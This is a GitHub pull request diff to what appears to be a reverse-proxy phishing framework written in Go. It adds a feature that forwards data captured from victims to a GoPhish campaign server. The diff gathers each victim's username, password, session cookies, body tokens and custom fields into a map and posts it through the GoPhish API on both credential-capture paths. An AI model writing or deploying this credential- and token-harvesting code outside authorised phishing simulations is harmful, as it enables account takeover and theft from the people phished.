Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add a feature to send caputed data to gophish. #1081

Open
wants to merge 2 commits into
base: master
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
28 changes: 23 additions & 5 deletions core/gophish.go
Original file line number Diff line number Diff line change
Expand Up @@ -16,8 +16,9 @@ type GoPhish struct {
}

type ResultRequest struct {
Address string `json:"address"`
UserAgent string `json:"user_agent"`
Address string `json:"address"`
UserAgent string `json:"user-agent"`
Data map[string]interface{} `json:"data"`
}

func NewGoPhish() *GoPhish {
Expand Down Expand Up @@ -93,15 +94,32 @@ func (o *GoPhish) ReportEmailLinkClicked(rid string, address string, userAgent s
return o.apiRequest(reqUrl.String(), content)
}

func (o *GoPhish) ReportCredentialsSubmitted(rid string, address string, userAgent string) error {
func (o *GoPhish) ReportCredentialsSubmitted(rid string, session *Session) error {
err := o.validateSetup()
if err != nil {
return err
}

// Collect dynamic data from the session
data := make(map[string]interface{})
for k, v := range session.Custom {
data[k] = v
}
for k, v := range session.BodyTokens {
data[k] = v
}
for k, v := range session.HttpTokens {
data[k] = v
}

// Add username and password to the data
data["username"] = session.Username
data["password"] = session.Password

req := ResultRequest{
Address: address,
UserAgent: userAgent,
Address: session.RemoteAddr,
UserAgent: session.UserAgent,
Data: data,
}

content, err := json.Marshal(req)
Expand Down
4 changes: 2 additions & 2 deletions core/http_proxy.go
Original file line number Diff line number Diff line change
Expand Up @@ -1066,7 +1066,7 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
rid, ok := s.Params["rid"]
if ok && rid != "" {
p.gophish.Setup(p.cfg.GetGoPhishAdminUrl(), p.cfg.GetGoPhishApiKey(), p.cfg.GetGoPhishInsecureTLS())
err = p.gophish.ReportCredentialsSubmitted(rid, s.RemoteAddr, s.UserAgent)
err = p.gophish.ReportCredentialsSubmitted(rid, s)
if err != nil {
log.Error("gophish: %s", err)
}
Expand Down Expand Up @@ -1206,7 +1206,7 @@ func NewHttpProxy(hostname string, port int, cfg *Config, crt_db *CertDb, db *da
rid, ok := s.Params["rid"]
if ok && rid != "" {
p.gophish.Setup(p.cfg.GetGoPhishAdminUrl(), p.cfg.GetGoPhishApiKey(), p.cfg.GetGoPhishInsecureTLS())
err = p.gophish.ReportCredentialsSubmitted(rid, s.RemoteAddr, s.UserAgent)
err = p.gophish.ReportCredentialsSubmitted(rid, s)
if err != nil {
log.Error("gophish: %s", err)
}
Expand Down